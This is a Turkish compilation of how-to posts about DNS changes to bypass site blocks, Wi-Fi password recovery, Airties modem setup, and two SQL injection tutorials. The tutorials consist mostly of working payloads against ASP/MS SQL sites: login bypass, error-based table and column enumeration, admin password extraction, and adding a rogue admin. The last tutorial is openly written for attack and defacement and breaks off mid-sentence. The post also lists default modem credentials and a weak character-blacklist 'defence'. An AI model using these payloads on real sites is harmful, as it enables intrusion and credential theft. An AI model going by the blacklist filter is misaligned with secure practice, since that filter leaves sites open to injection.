DNS Ayarları Değiştirmek İçin

Dns Değiştirmek ( Windows 7 – Resimli )

Neden dns’lerimizi değiştirme gereği duyarız? İnternetin sürekli artan yasaklarından birçok site nasibini almıştır. Birçok site mahkeme kararıyla kapatılmıştır. Tabi kurunun yanında yaşında yandığı olmuştur. Birçok faydalı sitede mahkeme engeline takılıp kapatılmıştır.

Peki bu kapatılan sitelere nasıl gireceğiz?

Aslında  yöntem çok basit ve illegal bir yöntem değil ( Kasım ayında çıkacak yeni internet yasasından sonra nasıl olur bilemem)

Aşağıdaki adımları izleyerek dnslerinizi değiştirin.

Denetim Masası –> Ağ ve Paylaşım Merkezi   açtıktan sonra ;

Mavi ile işaretlediğim yerlere tıklayınız;

 

dns değiştirmek

 

dns değiştirmek resimli anlatım

 

dns değiştirmek windows 7

Ben genelde yukarıdaki gibi Dns’leri kullanıyorum. Mavi ile işaretlediğim alanı değiştirmeniz yeterli. Yukarıdakini değiştirmenize gerek yok.

208.67.222.222

208.67.220.220

Windows XP DNS Ayarları

Windows  XP üzerinde DNS Ayarlarını değiştirmek için, başlat çubuğu üzerinde ki Ağ Bağlantısı simgemize sağ tıklayalım. Açılan menü üzerinde “Durum” menüsüne tıklayalım.

Karşımıza gelen Durum Menüsü üzerinde “Özelliklere” tıklayalım.

Karşımıza Ethernet kartımızın özellikleri gelecek. “İnternet İletişim Kuralları (TCP/IP)” özelliğine çift tıklayalım. “Aşağıda ki DNS Sunucusu Adreslerini Kullan” seçeneğini işaretleyelim. DNS adreslerimizi girebileceğimiz bölüm aktif olacak.

Ben Open DNS adreslerini kullanacağım için

208.67.220.220

208.67.222.222

 

Adreslerimi giriyorum. “Tamam” seçeneği ile ayarlarımı kaydederek menüleri kapatıyorum.

DNS Ayarı değişikliklerinin geçerli olması için ön belleği temizleyin…

 

Windows 8 üzerinde 2011 – 2012 DNS ayarlarını değiştirmek için aşağıda ki adımları uygulayabilirsiniz.

1-      İlk olarak başlat çubuğunun sağ alt köşesinde bulunan “Ağ Simgesine” sağ tıklayın. Açılan menü’de “Open network and Sharing Center (Ağ ve Paylaşım Merkezini Aç)”a tıklayın.

Karşımıza gelen ekranda “Change Adapter Settings” bölümüne tılayınız.

2-      Karşımıza internete bağlandığımız ağ kartları gelecek, aktif olan ağ kartı üzerine sağ tıklayınız. Açılan menüde “Properties (Özellikler)”e tıklayınız.

Karşımıza ağ kartımızın özellikleri gelecek.

1-      “İnternet Protocol Version 4 (TCP/IPv4)” üzerine çift tıklayınız, TCP/IPv4 özellikleri karşımıza gelecek.

2-      “Use the Following DNS server addresses (Aşağıda ki DNS Sunucusu Adreslerini Kullan)” bölümüne tıklayın. DNS adreslerimizi girebileceğimiz bölüm aktif oldu şimdi girmek istediğiniz DNS adreslerini girebilirsiniz.  Alternatif DNS adreslerini öğrenmek için buraya tıklayınız.

3-      Ben uygulama için Open DNS adreslerini giriyorum.

Windows 8 üzerinde 2011 – 2012 DNS Ayarlarını tamamladık,

 

DNS Ayarı değişikliklerinin geçerli olması için ön belleği temizleyin…

Unutulan Kablosuz Ağ (Wireless) Şifrelerini Bulma

Günlük hayatta şifrelerimiz havada uçuşmaktadır. Sosyal platform şifreleri, bilgisayar şifreleri, banka şifresi, dosya paylaşım şifreleri, mail şifresi gibi onlarca şifre zihnimizin bir kısmını işgal etmektedir. Bazen her yerde ayrı şifre kullanmanın çeşitli zorlukları da vardır. Şifremizi unutmak gibi. Bu makalemizde unuttuğumuz kablosuz ağ şifrelerimizi nasıl bulabileceğimizi öğreneceğiz.

Not: Makalenin devamı Windows 7 işletim sistemi kullanıldığı varsayılarak hazırlanmıştır.

Bir kablosuz ağ adresine bağlandığımızda Windows işletim sistemi, sonraki bağlantılarda otomatik bağlanmak için şifrelerimizi saklar. Kablosuz ağ şifresini bulmak için birçok yol mevcuttur. Makalemizde, bu yollardan 3 tanesine değineceğiz.

1-) Windows 7 kullanarak unutulan kablosuz ağ şifresini elde etme

Kablosuz ağ bağlantınızın aktif olarak bağlı olduğundan emin oldun.

1

Resim-01

Kablosuz ağ bağlantısına Resim-01’deki gibi sağ click leyip “Durum”u seçin.

2

Resim-02

Kablosuz ağ bağlantısı durumu Resim-02’deki gibi açılacaktır. Bu ekranda “Kablosuz Özellikleri”ni tıklayın.

3

Resim-03

Kablosuz ağ özellikleri Resim-03’teki gibi açılacaktır. Üst tarafta yer alan “Güvenlik” tabını tıklayın.

4

Resim-04

“Güvenlik” sekmesi Resim-04’teki gibi görünecektir. Bu ekranda “Karakterleri göster”i tıkladığımızda kablosuz ağ şifresini görüntüleyebiliriz.

5

Resim-05

Kablosuz ağ şifresi Resim-05’teki gibi görüntülenebilir. Bu yöntem ile unutulmuş kablosuz ağ şifresi bulunabilir.

2-) Windows 7 kullanarak unutulan kablosuz ağ şifresini elde etme – 2

Unuttuğumuz kablosuz ağ şifresini bulmak için Başlat\Denetim Masası\Ağ ve Paylaşım Merkezi’ne gidiyoruz.

6

Resim-06

Sol tarafta bulunan “Kablosuz ağları yönet”i tıklıyoruz.

7

Resim-07

Şifresini unuttuğumuz kablosuz ağ bağlantısına bir kere sol clikledikten sonra, sağ clickleyip “Özellikler”i tıklıyoruz. Ardından Resim-04’teki gibi “Güvenlik” sekmesini tıklayıp, Resim-05’teki gibi “Karakterleri göster”i tıklayarak kablosuz ağ şifresine erişebiliriz.

3-) Cain & Abel ile kablosuz ağ şifresini bulma

Cain & Abel, daha çok Windows şifrelerini kırmak, ARP Poisoning, DNS Poisoning ve Network Sniffing gibi birçok özelliği barındıran oldukça gelişmiş bir araçtır. Aracı edinmek için, http://www.oxid.it/cain.html adresini kullanabilirsiniz.

Programı indirip kurduktan sonra çalıştırın.

8

Resim-08

Programı çalıştırdıktan sonra “Decoders” menüsünü tıklayın. Ardından sol tarafta bulunan “Wireless Passwords” kısmını tıklayın. Program Resim-08’deki gibi çalışacaktır.

Wireless şifrelerini bulması için üst tarafta bulunan iconmenüsünü tıklıyoruz.

9

Resim-09

Birkaç saniye sonra bütün kablosuz ağ şifreleri Resim-09’daki gibi gelecektir.

Hayırlı Günler.

Kablosuz modemi Access Point yada kablosuz adaptör olarak kullanma (AIRTIES RT205 ve benzerleri)

1- Modemin arayüzüne 192.168.2.1 adresiyle girdikten sonra sol taraftaki menüden ADSL -> ADSL Modu sayfasına giriyoruz. Burdan “NO MODE” seceneğini işaretliyoruz.

2- Yine sol taraftaki menüden ADSL -> ADSL Ayarları’nı tıkladığımızda açılan sayfadan “PVC Adı” sekmesinin altındaki vc1’i tıklıyoruz.

Karşımıza gelen ekranda ayarları aşagıdaki gibi değiştiriyoz. (Protocol olarak DHCP seçildi. Fakat eğer disabled seceneği çıkarsa – özellikle diğer marka modemlerde – onuda işaretleyebilirsiniz.)

3- Kablosuz bir modeme bağlantı kuracaksanız modemi tanıtmanız gerekiyor. Tanıtma öncesi dikkat edilecek husus her iki modeminde wireless kanallarının aynı olmasıdır. Eğer değilse modemin arayüzünden KABLOSUZ -> Kablosuz Ayarları sekmesinden kanal numarasını kolaylıkla değiştirebilirsinz. Bu ayarları kontrol ettikten sonra sol taraftaki menüden KABLOSUZ -> MESH sekmesini tıklıyoruz. Açılan sayfada “Köprü/ Tekrarlayıcı bağlantılarını etkinleştir” seceneğini işaretleyip Kaydet’i tıkladığımızda karşımıza modemin bağlantı kurabileceği modemler çıkıyor. Burdan kendinize ait modemi seçin ve kaydet’i tıklayın. Tüm bu işlemleri yaparken diğer modeminde açık ve kablosuz olarak erişilebilecek mesafede olmalıdır.

Eğer kablolu bir modemle bağlantı kuracaksanız bu işlemi yapmanıza gerek yoktur. Bu işlem yerine 4. işlemden sonra iki modemi Lan kablosuyla birbiriyle bağlamanız yeterlidir.

4- Sol taraftaki menüden YEREL AĞ -> IP Ayarları ve DHCP sekmesini tıklıyoruz. Açılan sayfadan “DHCP Sunucusu ve Aktarıcısı Kapat” seceneğini işaretliyoruz ve IP Adresi olarak bağlantı kuracağımız modemin ip numarasına bağlı olarak yeni bir ip numarası giriyoruz. Örneğin diğer modeminizin ip adresi 192.168.2.1 ise IP Adresi bölümüne 192.168.2.X girebilirsiniz. ( ‘X’ olarak istediğiniz rakamı girin.) Bu işlemleri yaptıktan sonra Kaydet’i tıklayın. Çıkan uyarılarada tamam deyin.

5- Son olarak kablosuz olarak bağlanacaksanız diğer modeminizin ayarlarından Airties modeminizi Access point olarak tanıtın.

Tüm bu işlemleri yaparken her iki modeminde kablosuz bağlantı şifrelerini kaldırın. İki modemden herhangi birinin kablosuz bağlantı şifresi olması halinde bağlantı kurulmuyor. Kablosuz bağlantı güvenliği olarak bu işlemlerden sonra her iki modemdede MAC adresi filtreleme kullanabilirsiniz. MAC adresi filtrelemede modemlerinde mac adreslerini eklemeyi unutmayın. Airties modeme erişmek için – bağlantı kurulu iken – modeme verdiğiniz ip adresini (192.168.2.X) kullanabilirsiniz. Eğer kablolu bir modemle bağlantı yapacaksanız modeminize kablosuz bağlantı şifresi koyabilirsiniz.

Diğer modemlerdende aynı ayarlar yapılabilir. Önemli olan iki nokta vc1 ayarlarının kaldırılması ve DHCP nin kapatılıp modeme yeni bir IP adresi verilmesidir. Benzer işlemler USR9110 modemde de denenmiş ve sonuç elde edilmiştir.

ADSL Modemimizle MAC Adresi Filtreleyelim[Kablolu Ve Kablosuz]

ADSL Modemimizle MAC Adresi Filtreleyelim

Bizim modemimiz Airties RT-206 modeli. Airties tarafından yeni piyasaya sürülmüş yeni bir model.

Modemimizin web arayüzüne giriş için internet adres çubuğuna 192.168.2.1 ip numarasını yazmanız yeterli.

Kullanıcı adı olarak airties modemin fabrika ayarları olan admin Kullanıcı Adı kutucuğuna giriniz. Şifre ise ttnet ‘tir. Eğer telekom yerine bilgisayar firmasından satın aldınız ise şifre için kullanım klavuzu CD’sinin içine göz atmalısınız.

Firewall Menüsü

1. Öncelikle Firewall menüsüne bakıyoruz. Airties RT-206’da MAC Adresi Filtreleme, Firewall menüsü içinde. Yani MAC Adresi Filtreleme, Firewall özelliklerinden biri. MAC Adresi Filtreleme menüleri değişik marka modemlere göre farklılık gösterebilir.

2. Bu kısımda Firewall ve SPI konusunda açıklama mevcut.

3. Biz MAC Adresi Filtreleme için Firewall’ı aktif yapıyoruz.

4. Değişikliğin aktif olması için Kaydet düğmesine basmayı unutmayın.

 

MAC Adresi Filtreleme menüsüne tıklıyoruz.

MAC Adresi Filtreleme Alt Menüsü

 

1. Airties RT-206’da MAC Adresi Filtreleme hakkında çok güzel bir açıklama yapılmış.

2. Onay kutusunun içini doldurarak MAC Adresi Filtrelemeyi etkin yapıyoruz. Bu onay kutusunu doldurunca Ağdaki bütün bilgisayarların bu modem üzerinden internete erişimi engellenmiş olur.

3. Bu kısımda ağda ki hangi bilgisayarların internete erişimlerine izin vermek istiyorsak o bilgisayara ait MAC adresini yazıp ekle düğmesine tıklamalıyız.

4. Bu kısımda bu modeme bağlı olan ağdaki bilgisayarların MAC adresleri, IP adresleri, Ağdaki isimleri görülecektir. Eğer burada internet erişimine izin vermek istediğiniz bilgisayarların MAC adresleri görülüyorsa direkt olarak buradan fareyle tıklayarak seçip, ekle düğmesine basmanız yeterli. Eğer buradan MAC adreslerini eklerseniz 3. adımda (Resimdeki 3. kısım) el ile MAC adreslerini eklemek zorunda değilsiniz.

5. Bu kısımda internet erişimine izin vermiş olduğunuz bilgisayarların Ekle düğmelerine basılarak eklediğiniz ağ kartlarına ait MAC adresleri listenenir.

6. Değişikliklerin kaydolması için kaydet düğmesine basmayı unutmayınız.

 

Birçok modemde MAC adresi bu aşamada bitebilir. Bu modemde ise Kablosuz Ağ için MAC Adresi Filtreleme ayrıca yapılıyor.

 

Kablosuz Ağda MAC Adresi Filtreleme

KABLOSUZ Menüsü

1. KABLOSUZ menüsüne tıklıyoruz

2. Modeme kablosuz erişim mesafesiyle ilgili çok güzel bir açıklama

3. Kablosuz olarak bağlı olan bilgisayara ait MAC adresi görüntülenmekte. Engelle kutucuğuna tıklayarak,

4. Kaydet butonuna tıklayarak modeme bağlı olan bilgisayarın kablosuz ağ bağlantısını kesebilirsiniz.

Kablosuz MAC Adresi Filreleme Menüsü

1. MAC Adresi filrelemeyle ilgili ayrıntılı bir açıklama. (Airties modemlere özgü)

2. Kablosuz ağda MAC Adresi Filtrelemeyi etkinleştirmek için onay kutusunu doldurmalısınız.

3. Engelle ve İzin Ver onay kutularından birini seçmelisiniz. Hemen altında ki kutucuğa gireceğiniz MAC adresi engellenecektir veya internet erişimine izin verilecektir. Biz İzin Ver onay kutusunu işaretliyoruz. Kablosuz olarak bağlanacak bilgisayarların Kablosuz ethernet kartlarına ait MAC adreslerini yazıp Ekle düğmesine basıyoruz. Bizim bilgisayarımız internete erişebilecek, fakat bizim bilgisayarımız dışındaki bilgisayarlar MAC adresleri eklenmediğinden dolayı internete erişemeyecek.

4. Son adımda Kaydet düğmesine basmayı unutmayın. Yaptığınız ayarlar ancak Kaydet düğmesine bastıktan sonra etkin olacaktır.

Modemden Modeme Bağlantı(Airties)

Kablosuz iki modem, aralarında iletişim kurabilir mi?
Evet, airties bu işi mükemmel başarıyor. Diyelim aynı evde ya da üst ofiste iki adet kablosuz modem mevcut. 1. modemi telefon hattından adsl ye bağlayıp, 2. modemi sadece fişe (ve tabi kablolu-ya da kablosuz erişim isteyen bilgisayarlara) bağlayarak 1. modem üzerinden internete bağlanmanız mümkün. Airties’ın mükemmel müşteri hizmetleri bunu tarif etmekten üşenmiyorlar ama internette arayıp da bulmaya çalışanlar için ben de yazayım:

1. Modem(ADSL e bağlı):
1.Lan ayarlarında dhcp etkin olmalı,
2.MAC filtrelemesi kullanılıyorsa 2. modemin kablosuz mac adresi filtre ayarlarında kayıtlı olmalı.
3.Kablosuz menüsünde tekrarlayıcı özelliği etkin ve 2. modem seçili olmalı.

2. Modem(ADSL e bağlı değil):
1.Lan ayarlarında dhcp etkin OLMAMALI,
2.MAC filtrelemesi kullanılıyorsa 1. modemin kablosuz mac adresi filtre ayarlarında kayıtlı olmalı.
3.Kablosuz menüsünde tekrarlayıcı özelliği etkin ve 1. modem seçili olmalı.

Bilgisayarın ağ ayarlarında ise otomatik ip adresi al seçili olmalı. Tercihen modemin adresi olan 192.168.2.1 yerine 192.168.3.1 kullanılırsa iki modemin ana sayfası çakışmamış olur.

SQL İnjectıon Temel Saldırı Ve Savunma

Bu yazı SQL Injection tekniklerini öğrenip sitelere zarar vermek isteyenlerden çok, işin temelini anlayıp gerekli önlemleri almak isteyen sunucu yöneticileri, programcılar için yazılmış SQL Injection Walkthrough yazısının bir çevirisi niteliğindedir. 2 bölümden oluşan yazının ilk bölümünde SQL Injection’a giriş ve temel saldırı tekniklerini inceliyoruz.1 Giriş

Bir sunucunun yalnızca 80 numaralı portu açıksa, port tarayıcılarının bir açık yakalayamayacağını ve admin’in gerekli patch’leri yaptığını bilirsiniz. Bu durumda geriye web hacking methodları kalır. SQL injection yalnızca 80. porta ihtiyaç duyan, sunucuya veya sunucunun işletim sistemine değil de üzerinde çalışan uygulamalara (ASP, JSP, PHP, CGI gibi) saldıran bir tekniktir.

1.2 SQL Injection Nedir?

SQL Injection, web sayfalarını kullanarak SQL sorgusu ve komutu gönderme tekniğidir. Birçok site kullanıcıdan aldığı parametrelerle veritabanına sorgular göndermektedir. Örnek olarak kullanıcı girişi sayfasını düşünün, girilen ad ve şifre yardımıyla bu kişinin kayıtlı bir kullanıcı olup olmadığı veritabanına sorulur. SQL Injection ile SQL sorgusunu değiştireceğimiz ve istediğimiz bilgilere ulaşabileceğimiz sonuçlar elde edebiliriz.

1.3 Malzemeler

Sadece internet tarayıcısı.

2 Neleri Aramalısınız?

Kullanıcının bilgi gönderebileceği sayfaları bulmalısınız; mesela kullanıcı girişi, arama sayfası, yorum sayfası gibi. Genelde html sayfaları kullanıcı girdilerini gönderirken POST methodunu kullanırlar, böylece sayfanın adresinde parametreleri göremezsiniz. Bu durumda sayfanın kaynak kodunu inceleyerek hangi parametreleri gönderdiğini bulabilirsiniz. Arayacağınız html etiketi form olmalı, örnek olarak:

CODE
< form method=”post” action=”Search/search.asp”>
< input type=”hidden” name=”A” value=”C” />
< form>

form etiketleri arasındaki herşey potansiyel parametrelerdir.

2.1 Ya input alan bir sayfa bulamazsam?!

Sitede ASP, JSP, CGI veya PHP gibi sayfalar aramalısınız. Özellikle aşağıdaki gibi parametre alan sayfalara dikkat edin:

http://www.example.com/index.asp?id=10

3 Bu sayfa uygun mu, nasıl test ederim?

Tek tırnak hilesiyle başlayabilirsiniz. Bunun için input alanına hey’ or 1=1– girin. Örnek:

Kullanıcı adı: hey’ or 1=1–
Şifre: hey’ or 1=1–
http://www.example.com/index.php?id=hey’ or 1=1–

Eğer bu işlemi hidden bir input alanıyla yapmanız gerekiyorsa sayfanın kaynak kodunu bilgisayarınıza kaydedip form alanını aşağıdaki şekilde düzenleyin.

CODE
< form action=”http://www.example.com/Search/search.asp&#8221; method=”post”>
< input type=”hidden” name=”A” value=”hey’ or 1=1–“>
< /form>

3.1 Ama neden ‘ or 1=1–?

Bu hileyi siteye giriş yapmanın yanında ekstra bilgilere ulaşmak için kullanabilirsiniz. Örnek olarak aşağıdaki ASP sayfasını ele alalım:

CODE
http://www.example.com/index.asp?category=food

URL’de category değişkenin adı, ve food ise bu değişkene atanan değerdir. Food kategorisindeki bilgileri listelemek için kullanılacak kod aşağıdaki gibidir:

CODE
v_cat = request(”category”)
sqlstr = “SELECT * FROM product WHERE PCategory=’” & v_cat & “‘”
set rs = conn.execute(sqlstr)

Gördüğünüz gibi gönderdiğimiz bilgi v_cat değişkenine atandı, daha sonra bu değişkenle bir SQL sorgusu oluşturuldu.

CODE
SELECT * FROM product WHERE PCatego

Bölüm 2 

SQL Injection Walkthrough çevirisinin 2. bölümünde MS SQL Server üzerinde SQL injection yöntemlerini ve saldırılara karşı korunma yollarını inceliyoruz.

6 ODBC hata mesajıyla veritabanındaki tablo adlarını almak

MS SQL Server tarafından oluşturulan ODBC hata mesajlarını kullanarak neredeyse her türlü bilgiye ulaşmanız mümkün. Örnek olarak şöyle bir sayfa kullanıldığını düşünün:

CODE
http://www.example.com/index.asp?id=10

Adresteki 10 sayısının yanına, veritabanına ulaşabileceğimiz birkaç sorgu ekleyelim:

CODE
http://www.example.com/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES–

INFORMATION_SCHEMA.TABLES sunucuda kayıtlı tüm tabloların listesini tutan bir sistem tablosudur. TABLE_NAME ise bu sistem tablosundaki bir değişkendir. “SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES–” sorgusu bize veritabanındaki ilk tablonun adını dönecek. Tablonun adını 10 sayısıyla birleştirmeye -UNION- çalışınca ise şöyle bir hata mesajıyla karşılaşacağız, ki bu bize istediğimiz bilgiyi veriyor olacak:

CODE
Microsoft OLE DB Provider for ODBC Drivers error ‘80040e07′
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value ‘table1‘ to a column of data type int.
/index.asp, line 5

Bu hata mesajı bize saf saf ilk tablonun table1 olduğunu söyledi. Sonraki tablonun adını almak için (1), veya içerisinde login geçen bir tabloyu bulmak için (2) şunları deneyebilirsiniz:

CODE
(1) http://www.example.com/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME NOT IN (’table1′)–

(2) http://www.example.com/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME LIKE ‘%login%‘–

Sonuç:

Microsoft OLE DB Provider for ODBC Drivers error ‘80040e07′
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value ‘admin_login‘ to a column of data type int.
/index.asp, line 5

6.1 Tablonun değişkenlerine ulaşmak

Bunun için bir başka kullanışlı sistem tablosu olan INFORMATION_SCHEMA.COLUMNS tablosunu kullanacağız.

CODE
http://www.example.com/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME=’admin_login‘–

Sonuç:
Microsoft OLE DB Provider for ODBC Drivers error ‘80040e07′
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value ‘login_id‘ to a column of data type int.
/index.asp, line 5

Sonraki değişken için:

http://www.example.com/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME=’admin_login‘ WHERE COLUMN_NAME NOT IN (’login_id’)–

Sonuç:

Microsoft OLE DB Provider for ODBC Drivers error ‘80040e07′
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value ‘login_name‘ to a column of data type int.
/index.asp, line 5

Düşünün ki yukarıdaki durumu tekrarlayıp diğer değişkenleri de password ve details olarak bulduk. Tüm değişkenleri elde ettiğimizde sorgumuza şöyle bir cevap alırız:

CODE
http://www.example.com/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME=’admin_login‘ WHERE COLUMN_NAME NOT IN (’login_id’,’login_name’,’password’,’details’) –

Sonuç:

Microsoft OLE DB Provider for ODBC Drivers error ‘80040e14′
[Microsoft][ODBC SQL Server Driver][SQL Server]ORDER BY items must appear in the select list if the statement contains a UNION operator.
/index.asp, line 5

6.2 Tablo adını ve değişkenlerini öğrendikten sonra istediğiniz bilgiye ulaşmak için

CODE
admin_login tablosunu ve değişkenlerini öğrendik. Şimdi sıra kullanıcı adlarını ve şifreleri öğrenmeye geldi.

http://www.example.com/index.asp?id=10 UNION SELECT TOP 1 login_name FROM admin_login–

Sonuç:

Microsoft OLE DB Provider for ODBC Drivers error ‘80040e07′
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value ‘neo‘ to a column of data type int.
/index.asp, line 5

Görüyoruz ki tabloda neo isimli bir admin kayıtlı. Son olarak şifresini istiyoruz:

CODE
http://www.example.com/index.asp?id=10 UNION SELECT TOP 1 password FROM admin_login where login_name=’neo‘–

Sonuç:

Microsoft OLE DB Provider for ODBC Drivers error ‘80040e07′
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value ‘m4trix‘ to a column of data type int.
/index.asp, line 5

6.3 Nümerik bir bilgiye nasıl ulaşırım?

Dikkat ettiyseniz yukarıda bir string’i bir integer’la UNION ederek hata mesajları çıkarmaya çalıştık. Ya istediğimiz bilgi bir sayıysa? Düşünün ki tablomuzda trinity kullanıcısının şifresi 31173. Bu durumda aşağıdaki sorgu sorunsuz bir UNION operasyonu yapacak, yani işimize yarayacak bir ODBC hatası yollamayacaktır.

CODE
http://www.example.com/index.asp?id=10 UNION SELECT TOP 1 password FROM admin_login where login_name=’trinity‘–

Yukarıda + işaretiyle (%2b) şifremizi “morpheus” string’iyle birleştirip integer’a çevirmeye çalışıyoruz. Bu mantıklı(!) işlemin sonucunda da istediğimiz sonucu alıyoruz:

CODE
Microsoft OLE DB Provider for ODBC Drivers error ‘80040e07′
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value ‘31173 morpheus‘ to a column of data type int.
/index.asp, line 5

7 Veritabanını güncellemek, veri eklemek

Tablo isimlerini ve değişkenlerini öğrendikten sonra tabloları güncellemek, yeni veriler eklemek de tabii ki mümkün. Örnek olarak yöneticimiz neo‘nun şifresini değiştirip, sisteme yeni bir admin ekleyelim:

CODE
http://www.example.com/index.asp?id=10; UPDATE ‘admin_login‘ SET ‘password‘ = ‘newpas5‘ WHERE login_name=’neo‘–

http://www.example.com/index.asp?id=10; INSERT INTO ‘admin_login‘ (’login_id’, ‘login_name’, ‘password’, ‘details’) VALUES (666,’neo2‘,’newpas5‘,’NA’)–

8 SQL Injection’dan Korunma Yolları

Bunun için aslında çok basit bir yol var:

Kullanıcıdan aldığınız input’larda,
URL’lerdeki parametrelerde,
Cookie’lerdeki değerlerde bulunan

tek tırnak (‘), çift tırnak (“), taksim (/), bölü (\\), noktalı virgül (FPRIVATE “TYPE=PICT;ALT=wink.gif”
boş karakter (NULL), carriage return (CG), yeni satır (NL), vb. karakterleri filtreleyin.

Sayılar için SQL sorgusuna eklemeden önce integer’a çevirin. Veya ISNUMERIC fonksiyonunu kullanarak gerçekten integer olup olmadığını kontrol edin.

Kullanmadığınız stored procedure’leri kaldırın: master..Xp_cmdshell, xp_startmail, xp_sendmail, sp_makewebtask, …

Sql Korunma Yöntemleri

SQL injectiondan korunmada iki altın kural vardır.

Tüm ****-karakterlerden kaçınılmalıdır yani /,– gibi karakterlere izin verilmemelidir

Nümerik olarak beklenen parameterlerin nümerik olup olmadığı kontrol edilmelidir.

1. <%
2. Function security(data)
3. data = Replace (data ,”`” ,”” ,1,-1,1)
4. data = Replace (data ,”=” ,”” ,1,-1,1)
5. data = Replace (data ,”&” ,”” ,1,-1,1)
6. data = Replace (data ,”%” ,”” ,1,-1,1)
7. data = Replace (data ,”!” ,”” ,1,-1,1)
8. data = Replace (data ,”#” ,”” ,1,-1,1)
9. data = Replace (data ,”<” ,”” ,1,-1,1)
10. data = Replace (data ,”>” ,”” ,1,-1,1)
11. data = Replace (data ,”*” ,”” ,1,-1,1)
12. data = Replace (data ,”/” ,”” ,1,-1,1)
13. data = Replace (data ,”\\” ,”” ,1,-1,1)
14. data = Replace (data ,”And” ,”” ,1,-1,1)
15. data = Replace (data ,”’” ,”” ,1,-1,1)
16. data = Replace (data ,”Chr(34)” ,”” ,1,-1,1)
17. data = Replace (data ,”Chr(39)” ,”” ,1,-1,1)
18. security=data
19. End Function
20. %>

’Yukarıdaki function’ı aşağıdaki şekilde sayfaya eklemenizin ardından kullanabilirsiniz.

1. <%
2. sUserId = security(Request.Form(“userid” ))
3. sPassWd = security(Request.Form(“passwd” ))
4. %>

PHP için injectiondan korunmanın en basit yöntemi ise şöyledir:

$_POST veya $_GET ile gelen bütün değerleri ENT_QUOTES parametresi kullanılan htmlspecialchars fonksiyonundan geçirin.


Örnek:


$_POST[’sifre’] yerine

htmlspecialchars($_POST[’sifre’], ENT_QUOTES

Ve ayrıca bir ASP sitesinde de güvenliği artırmak için;

Sayfalarda tanımlayıcı hata mesajları kullanmamak: Kullanıcılara hata mesajları gösterilirken daha genel açıklamalar verilmeli. Örneğin bir login sayfasında kullanıcı hata mesajından faydalanarak kullanıcı adı veya şifre bilgisini tahmin etmemeli.

“Kullanıcı adı hatalı”
“Şifre hatalı”
“Şifre 6 karakterden uzun olmalı”

gibi hata mesajları yerine

“Kullanıcı adı veya şifre hatalı. Lütfen bilgilerinizi kontrol ediniz” denilebilir.

Kullanıcıların upload ettikleri dosyaların uzantısını kontrol etmek: Uygulamada upload kontrolü var ise sadece istediğimiz türdeki dosyaların yüklenmesine izin verilmeli. Çünkü yüklenen dosyalar webden erişilebilen bir klasörün altına kaydedilir ve yükleyen kişi browserdan yüklediği dosyayı çağırarak serverda dosyayı çalıştırabilir.

Kara listedeki dosyalar: asp, aspx, php. Gözardı edilmemelidir.
Selametle..

MsSQL Injection Yeni Başlayanlara

MsSQL SQL Injection İçin En Uygun Sistemdir.Çünkü MsSQL Injectionda İş Access Gibi Deneme/Yanılma Değildir.

Bir Sonuç Varsa %100 dür ( Her türlü olumlu ya da olumsuz)

Accessde iş tahmindir,fakat mssql böyle değildir.

MsSQL Injection İle çok şey yapabilirsiniz.

Mesela ?

MsSQL Root ( Root Olma )

MssQL Update (Update yapma )

MsSQL **** ( **** atma index yedirme )

vs. vs. bir çok şey yapabilirsiniz.

Fakat ben işin attack kısmına bakacağım.

Hayde Bismillah Deyip Başlayalım.


Sitemize girdik,

http://www.x.com/a.asp?id=1

Sonuna ’a yazdık ve enterladık >> http://www.x.com/a.asp?id=1’a

Bize şöyle bir hata vermesi lazım,

—————————————————

Microsoft OLE DB Provider for ODBC Drivers error ’80040e14’

[Microsoft][ODBC SQL Server Driver][SQL Server]Unclosed quotation mark before the character string ’a’.

————————————————

Bu hatayı aldık mı ? İşte bu siteye her bir şeyi yapabiliriz.

Mesela?

Update yapabiliriz

Update yapılması için tablo ve kolon adlarını bilmemiz gerekir.

Sitemizin linkinin yanına having 1=1 yazalım vede tablo ve kolon adını öğrenelim.

Yani http://www.x.com/a.asp?id=1 having 1=1

Column ’Admin.ID’ is invalid in the select list because it is not contained in an aggregate function and there is no GROUP BY clause.

Şöyle bir hata aldık.Bu şu demektir.

Admin tablosunda ID adlı bir kolon var.Diğer kolon adlarını bulmak için;

Linkimizin yanına group by title having 1=1 ekleyelim.

Yani >>www.x.com/a.asp?id=1 group by title having 1=1

Böylece diğer kolonları da bulabiliriz.

Ardından aşağıdaki gibi de update yapabiliriz.

update TabloAdı set KolonAdı=’Buraya yazmak istediğiniz bir yazıyı yazın’;–

şekilde update yapabiliriz.

Tablo adlarına tek tek bakarak sitenin gizli bilgilerini(Şifre vs.) alabiliriz

Sitemizin linkinin yanına and 1=convert(int,(select top 1 name from sysobjects)) yazalım ve de karşımıza çıkan ilk tablo adını bulalım.

Yani;

http://www.x.com/a.asp?id=1 and 1=convert(int,(select top 1 name from sysobjects))

Şöyle bir hata vermesi lazım;

————————————————————

Microsoft OLE DB Provider for SQL Server error ’80040e07’

Conversion failed when converting the nvarchar value ’AdminVerify’ to data type int.

——————————————————

Üstteki AdminVerify karşımıza çıkan ilk tablodur.Büyük ihtimal bütün şifreler vs. orda

Diyelim AdminVerify çıkmadı.Poll Diye bi tablo çıktı.Bu tabloda şifreler vs. yok.Ben nası ulaşabilirim?

